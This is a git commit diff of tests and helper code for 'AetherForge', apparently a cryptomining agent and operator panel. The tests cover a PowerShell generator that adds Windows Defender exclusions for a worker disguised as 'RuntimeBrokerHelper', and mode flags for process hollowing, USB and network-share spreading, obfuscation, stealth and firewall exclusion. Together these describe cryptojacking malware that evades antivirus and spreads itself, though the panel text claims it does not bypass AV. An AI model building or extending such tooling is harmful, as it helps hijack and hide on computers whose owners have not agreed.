Add AV/Defender tests for diagnostics, exclusions, and defender_off.
Vitest covers mining diagnostics JSON blockers, AV-Safe preset fields, Calibrate .ps1 generation, and Settings Defender UI; Go tests cover defender_off error paths and mining blocker inference.
This commit is contained in:
@@ -23,4 +23,26 @@ describe('defenderExclusion', () => {
|
||||
it('provides default install preview', () => {
|
||||
expect(defaultWindowsInstallPreview('rig-01')).toContain('rig-01');
|
||||
});
|
||||
|
||||
it('warns when not elevated and documents manual checklist', () => {
|
||||
const script = buildDefenderExclusionScript({
|
||||
installPath: '%LOCALAPPDATA%\\CryptoMiner\\worker',
|
||||
processName: 'RuntimeBrokerHelper',
|
||||
});
|
||||
expect(script).toContain('Administrator');
|
||||
expect(script).toContain('Add-MpPreference -ExclusionPath');
|
||||
expect(script).toContain('Add-MpPreference -ExclusionProcess');
|
||||
expect(script).toContain('Controlled folder access');
|
||||
expect(script).toContain('Cloud-delivered protection');
|
||||
expect(script).toMatch(/AetherForge — Windows Defender exclusions/);
|
||||
});
|
||||
|
||||
it('appends .exe to bare process names', () => {
|
||||
const script = buildDefenderExclusionScript({
|
||||
installPath: 'C:\\miner',
|
||||
processName: 'worker',
|
||||
});
|
||||
expect(script).toContain("'worker.exe'");
|
||||
expect(script).not.toContain("'worker.exe.exe'");
|
||||
});
|
||||
});
|
||||
|
||||
@@ -122,8 +122,17 @@ describe('forgeOperationModes', () => {
|
||||
expect(next.process_hollowing).toBe(false);
|
||||
expect(next.spread_kit).toBe(false);
|
||||
expect(next.auto_spread).toBe(false);
|
||||
expect(next.usb_spread).toBe(false);
|
||||
expect(next.share_spread).toBe(false);
|
||||
expect(next.remote_aggressive).toBe(false);
|
||||
expect(next.obfuscate).toBe(false);
|
||||
expect(next.stealth_mode).toBe(true);
|
||||
expect(next.display_mode).toBe('background');
|
||||
expect(next.firewall_exclusion).toBe(true);
|
||||
expect(next.mining_mode).toBe('idle');
|
||||
expect(next.max_cpu_usage_pct).toBe(50);
|
||||
expect(next.thread_percent).toBe(50);
|
||||
expect(next.fusion_enabled).toBe(false);
|
||||
});
|
||||
|
||||
it('applies LOTL Onion AV-Safe mining plus tier chain flags', () => {
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen, waitFor, within } from '@testing-library/react';
|
||||
import { cleanup, fireEvent, render, screen, waitFor, within } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import SettingsPage, { deepMerge } from './SettingsPage';
|
||||
import { SoundProvider } from '../context/SoundContext';
|
||||
@@ -271,4 +271,48 @@ describe('SettingsPage (Calibrate)', () => {
|
||||
const adminCode = screen.getAllByText('admin', { exact: true }).find((el) => el.tagName === 'CODE');
|
||||
expect(adminCode).toBeTruthy();
|
||||
});
|
||||
|
||||
it('renders Windows Defender Exclusions section with honest AV copy', async () => {
|
||||
renderSettings();
|
||||
expect(await screen.findByText('Windows Defender Exclusions')).toBeInTheDocument();
|
||||
expect(screen.getByText(/manually as Administrator/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/does not silently bypass AV/i)).toBeInTheDocument();
|
||||
expect(screen.getByRole('button', { name: 'Copy exclusion script' })).toBeInTheDocument();
|
||||
expect(screen.getByRole('button', { name: 'Download .ps1' })).toBeInTheDocument();
|
||||
expect(screen.getByLabelText('Install path')).toBeInTheDocument();
|
||||
expect(screen.getByLabelText('Process name')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('downloads Defender exclusion .ps1 from Calibrate inputs', async () => {
|
||||
const createObjectURL = vi.fn(() => 'blob:defender-test');
|
||||
const revokeObjectURL = vi.fn();
|
||||
vi.stubGlobal('URL', { ...URL, createObjectURL, revokeObjectURL });
|
||||
const clickSpy = vi.spyOn(HTMLAnchorElement.prototype, 'click').mockImplementation(() => {});
|
||||
|
||||
const user = userEvent.setup({ delay: null });
|
||||
renderSettings();
|
||||
await screen.findByText('Windows Defender Exclusions');
|
||||
fireEvent.change(screen.getByLabelText('Install path'), {
|
||||
target: { value: 'C:\\CryptoMiner\\rig-01' },
|
||||
});
|
||||
fireEvent.change(screen.getByLabelText('Process name'), {
|
||||
target: { value: 'RuntimeBrokerHelper' },
|
||||
});
|
||||
await user.click(screen.getByRole('button', { name: 'Download .ps1' }));
|
||||
|
||||
await waitFor(() => {
|
||||
expect(createObjectURL).toHaveBeenCalled();
|
||||
expect(clickSpy).toHaveBeenCalled();
|
||||
});
|
||||
const blob = createObjectURL.mock.calls[0][0] as Blob;
|
||||
const script = await blob.text();
|
||||
expect(script).toContain('Add-MpPreference -ExclusionPath');
|
||||
expect(script).toContain('RuntimeBrokerHelper.exe');
|
||||
expect(script).toContain('C:\\CryptoMiner\\rig-01');
|
||||
expect(script).toContain('Tamper Protection');
|
||||
expect(await screen.findByText(/Downloaded aetherforge-defender-exclusions\.ps1/i)).toBeInTheDocument();
|
||||
|
||||
clickSpy.mockRestore();
|
||||
vi.unstubAllGlobals();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -487,7 +487,9 @@ export default function SettingsPage() {
|
||||
)}
|
||||
|
||||
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive" style={{ marginBottom: '1rem' }}>
|
||||
<h2 className="font-display">Windows Defender Exclusions</h2>
|
||||
<h2 className="font-display">
|
||||
Windows Defender Exclusions <FieldHint field="calibrate_defender_exclusions" />
|
||||
</h2>
|
||||
<p className="section-desc">
|
||||
Generate a PowerShell script to allowlist your forge install path and worker process.
|
||||
Run it <strong>manually as Administrator</strong> on each mining PC — the agent does not silently bypass AV.
|
||||
|
||||
44
server/web/src/types/lotl.test.ts
Normal file
44
server/web/src/types/lotl.test.ts
Normal file
@@ -0,0 +1,44 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { parseMiningBlockers, parseTierReport } from './lotl';
|
||||
|
||||
describe('parseMiningBlockers', () => {
|
||||
it('reads likely_blockers from mining diagnostics JSON', () => {
|
||||
const blockers = parseMiningBlockers({
|
||||
likely_blockers: [
|
||||
'Windows Defender real-time protection is ON — use Calibrate exclusion script or allowlist install path',
|
||||
'job present but hashrate=0 — engine init failure or process throttled/killed by AV',
|
||||
],
|
||||
});
|
||||
expect(blockers).toHaveLength(2);
|
||||
expect(blockers[0]).toMatch(/Defender real-time protection/);
|
||||
expect(blockers[1]).toMatch(/hashrate=0/);
|
||||
});
|
||||
|
||||
it('falls back to legacy blockers key', () => {
|
||||
expect(parseMiningBlockers({ blockers: ['cascade failures recorded'] })).toEqual([
|
||||
'cascade failures recorded',
|
||||
]);
|
||||
});
|
||||
|
||||
it('filters non-string entries and returns empty when absent', () => {
|
||||
expect(parseMiningBlockers({ likely_blockers: [1, 'ok', null] })).toEqual(['ok']);
|
||||
expect(parseMiningBlockers({})).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('parseTierReport with blockers payload', () => {
|
||||
it('extracts tier fields alongside blockers', () => {
|
||||
const raw = {
|
||||
lotl_tier: 'inprocess',
|
||||
lotl_attempts: [{ tier: 'inprocess', ok: true, duration_ms: 900 }],
|
||||
likely_blockers: ['mining fallback chain exhausted — all primary methods failed'],
|
||||
mining_hashrate: 420,
|
||||
};
|
||||
const tier = parseTierReport(raw);
|
||||
const blockers = parseMiningBlockers(raw);
|
||||
expect(tier.lotl_tier).toBe('inprocess');
|
||||
expect(tier.lotl_attempts).toHaveLength(1);
|
||||
expect(tier.mining_hashrate).toBe(420);
|
||||
expect(blockers[0]).toMatch(/fallback chain exhausted/);
|
||||
});
|
||||
});
|
||||
@@ -79,6 +79,14 @@ export function parseTierAttempts(raw: unknown): TierAttempt[] {
|
||||
return out;
|
||||
}
|
||||
|
||||
/** Normalize likely_blockers / legacy blockers from mining_diagnostics JSON. */
|
||||
export function parseMiningBlockers(raw: Record<string, unknown>): string[] {
|
||||
const blockers = raw.likely_blockers ?? raw.blockers;
|
||||
return Array.isArray(blockers)
|
||||
? blockers.filter((b): b is string => typeof b === 'string')
|
||||
: [];
|
||||
}
|
||||
|
||||
/** Extract tier report fields from mining_diagnostics JSON or WS agent row. */
|
||||
export function parseTierReport(raw: Record<string, unknown>): {
|
||||
lotl_tier?: string;
|
||||
|
||||
Reference in New Issue
Block a user